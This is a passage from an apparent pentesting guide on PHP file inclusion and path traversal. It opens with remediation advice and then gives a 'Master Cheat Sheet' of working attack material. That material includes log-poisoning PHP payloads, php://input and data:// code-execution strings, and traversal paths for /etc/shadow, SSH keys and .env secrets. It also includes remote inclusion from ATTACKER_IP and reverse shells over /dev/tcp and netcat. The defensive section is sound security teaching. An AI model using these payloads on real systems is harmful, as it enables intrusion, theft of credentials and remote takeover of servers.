curl -s "http://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
curl -s "http://target.com/?file=../../../../var/log/apache2/access.log&cmd=id"
18. Remediation
18.1 Input Validation — Allowlist (Primary Control)
<?php
// ALLOWLIST — only permit known-good values:
$allowed_pages = ['home', 'about', 'contact', 'products'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed_pages, true)) {
http_response_code(400);
die('Invalid page');
}
include("templates/" . $page . ".php");
// NEVER:
// include($_GET['page']);
// include("templates/" . $_GET['page'] . ".php");
// include("templates/" . $userInput);
?>
18.2 Path Canonicalization & Containment
<?php
function safe_include(string $userInput, string $base_dir): string {
// Resolve the real path:
$base = realpath($base_dir);
$requested = realpath($base . DIRECTORY_SEPARATOR . $userInput);
// Ensure resolved path is inside the base directory:
if ($requested === false || strpos($requested, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(403);
die('Access denied');
}
return $requested;
}
$base = '/var/www/html/templates/';
$page = $_GET['page'] ?? '';
$safe_path = safe_include($page, $base);
include($safe_path);
?>
# Python equivalent:
import os
BASE_DIR = "/var/www/html/templates"
def safe_open(user_input):
requested = os.path.realpath(os.path.join(BASE_DIR, user_input))
if not requested.startswith(os.path.realpath(BASE_DIR) + os.sep):
raise PermissionError("Path traversal detected")
return open(requested).read()
18.3 PHP Configuration Hardening
; /etc/php/*/apache2/php.ini — set these:
; Disable URL-based includes (blocks RFI and data:// / php://input):
allow_url_include = Off
allow_url_fopen = Off ; only if no legitimate remote file access needed
; Restrict file access to web root:
open_basedir = /var/www/html:/tmp
; Disable dangerous functions:
disable_functions = system,exec,shell_exec,passthru,popen,proc_open,
eval,assert,preg_replace_callback,create_function,
include,require,include_once,require_once
; Hide PHP errors from users:
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
; Disable unnecessary stream wrappers:
; (no php.ini directive — use disable_functions + custom wrapper disabling)
18.4 Web Server Configuration
# Apache — prevent access to sensitive files:
<FilesMatch "^(\.env|\.git|wp-config\.php|config\.php|php\.ini)$">
Require all denied
</FilesMatch>
# Block path traversal in URL (before it reaches PHP):
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC]
RewriteRule .* - [F]
</IfModule>
# Nginx — block traversal sequences:
if ($request_uri ~* "(\.\./|\.\.\\)") {
return 403;
}
# Restrict sensitive paths:
location ~* "(wp-config\.php|\.env|\.git)" {
deny all;
}
18.5 Defense-in-Depth
PRIMARY CONTROL:
├── ALLOWLIST — only permit explicitly known-good filenames
├── Never concatenate user input directly into filesystem paths
└── Use realpath() + prefix check to enforce directory containment
SECONDARY CONTROLS:
├── PHP: allow_url_include=Off, allow_url_fopen=Off
├── PHP: open_basedir restricts filesystem access to web root only
├── PHP: disable_functions to prevent dangerous PHP functions
├── Run web server as low-privilege user (www-data, not root)
├── Read-only filesystem mounts for static files where possible
├── Separate writable directories from executable directories
│ → /uploads/ should NEVER be in include path
│ → Uploaded files should not be in web root
└── Strip execute permissions from upload directories
LOG HARDENING (prevent log poisoning):
├── Restrict log file permissions — www-data should NOT read /var/log/
├── Use structured logging (JSON) — harder to inject code
└── Log to syslog / remote syslog server instead of local file
DETECTION:
├── Alert on ../ sequences in request logs (WAF / SIEM rule)
├── Alert on php:// / data:// / expect:// in parameters
├── Monitor file access outside web root (auditd / inotify)
├── Alert on unexpected outbound connections from web process (OOB/RFI)
└── DAST scanning with Burp / ffuf in CI/CD pipeline
19. Master Cheat Sheet
Attack Decision Tree
Found a parameter that loads/displays a file?
│
├── Test basic path traversal:
│ ├── ?file=../../../../etc/passwd
│ ├── Response contains "root:" → PATH TRAVERSAL CONFIRMED
│ └── No output?
│ ├── Try URL encoding: ..%2F..%2Fetc%2Fpasswd
│ ├── Try double encoding: ..%252F..%252Fetc%252Fpasswd
│ └── Try filter bypass: ....//....//etc/passwd
│
├── Is it a PHP application?
│ ├── Test php://filter:
│ │ └── ?page=php://filter/convert.base64-encode/resource=index
│ │ ├── Base64 response → LFI CONFIRMED → decode → read source
│ │ └── No output → try without extension / try deeper path
│ │
│ ├── Try php://input (RCE if allow_url_include=On):
│ │ └── POST body: <?php system('id'); ?>
│ │
│ ├── Try data:// (RCE if allow_url_include=On):
│ │ └── ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
│ │
│ └── Read php.ini / phpinfo to check allow_url_include:
│ └── ?page=../../../../etc/php/*/apache2/php.ini
│
├── LFI confirmed — escalate to RCE:
│ ├── Log poisoning:
│ │ ├── Inject PHP into User-Agent
│ │ └── Include access.log / auth.log / vsftpd.log
│ │
│ ├── /proc/self/environ (if readable):
│ │ ├── Inject PHP in User-Agent → include /proc/self/environ
│ │ └── Enumerate /proc/self/fd/N for open log handles
│ │
│ ├── PHP session poisoning:
│ │ ├── Store PHP payload in session variable
│ │ └── Include /var/lib/php/sessions/sess_SESSIONID
│ │
│ ├── PHPInfo() race:
│ │ └── Multipart upload → read temp file via LFI race
│ │
│ ├── php://filter chain (no file write needed):
│ │ └── Use php_filter_chain_generator.py → instant RCE
│ │
│ ├── File upload + LFI:
│ │ └── Upload polyglot JPG/PHP → include via LFI
│ │
│ └── pearcmd (Docker):
│ └── Include pearcmd.php with config-create → write shell
│
├── Is allow_url_include=On (or RFI suspected)?
│ ├── Test: ?page=http://ATTACKER_IP/shell.php
│ └── If request hits your server → RFI CONFIRMED → immediate RCE
│
└── Collecting intel (no RCE path available):
├── /etc/passwd → users
├── /etc/shadow → password hashes (if root)
├── /home/*/.ssh/id_rsa → SSH keys
├── wp-config.php / config.php / .env → database credentials
├── /proc/self/environ → environment variables / secrets
└── Web server config → virtual hosts, other apps, credentials
Quick Payload Reference
# ── PATH TRAVERSAL ──
../../../../etc/passwd # Linux basic
....//....//....//etc/passwd # filter bypass
..%2F..%2F..%2Fetc%2Fpasswd # URL encoded
..%252F..%252F..%252Fetc%252Fpasswd # double URL encoded
..\..\..\windows\win.ini # Windows basic
..%5C..%5C..%5Cwindows%5Cwin.ini # Windows URL encoded
# ── PHP WRAPPERS ──
php://filter/convert.base64-encode/resource=index # read source
php://filter/convert.base64-encode/resource=/etc/passwd # read file
php://input (+ POST: <?php system('id'); ?>) # RCE
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== # RCE inline
expect://id # RCE (expect ext)
# ── LFI → RCE ──
# Log poisoning:
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
?file=../../../../var/log/apache2/access.log&cmd=id
# /proc/self:
?file=../../../../proc/self/environ
?file=../../../../proc/self/fd/7
# Sessions:
?file=../../../../var/lib/php/sessions/sess_SESSIONID
# Zip wrapper:
?file=zip://uploads/shell.zip%23shell.php&cmd=id
# Phar wrapper:
?file=phar://uploads/shell.jpg/shell.php&cmd=id
# ── RFI ──
?file=http://ATTACKER_IP/shell.php&cmd=id # basic RFI
?file=\\ATTACKER_IP\share\shell.php # Windows SMB
# ── HIGH-VALUE FILES ──
../../../../etc/passwd
../../../../etc/shadow
../../../../root/.ssh/id_rsa
../../../../home/USER/.ssh/id_rsa
../../../../var/www/html/.env
php://filter/convert.base64-encode/resource=wp-config # WordPress creds
php://filter/convert.base64-encode/resource=../config/database
../../../../proc/self/environ
../../../../var/log/apache2/access.log
C:\inetpub\wwwroot\web.config # Windows/IIS
ffuf Quick Reference
# Fuzz LFI parameter:
ffuf -u "http://target.com/?FUZZ=../../../../etc/passwd" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mr "root:"
# Fuzz LFI value (depth + file):
ffuf -u "http://target.com/?file=FUZZ" \
-w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fs 0 -fc 404
# Fuzz Windows paths:
ffuf -u "http://target.com/?file=FUZZ" \
-w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Windows.txt \
-mr "\\[fonts\\]"
Reverse Shell via LFI (Log Poisoning)
# Inject reverse shell payload into log:
curl -s "http://target.com/" \
-H "User-Agent: <?php system(\$_GET['cmd']); ?>"
# Trigger via LFI:
?file=../../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'
# Listener:
nc -lvnp 4444
rlwrap nc -lvnp 4444 # with readline support
pwncat-cs -lp 4444 # with auto-upgrade
# Alternative — inject full reverse shell directly:
curl -s "http://target.com/" \
-H "User-Agent: <?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f'); ?>"
?file=../../../../var/log/apache2/access.log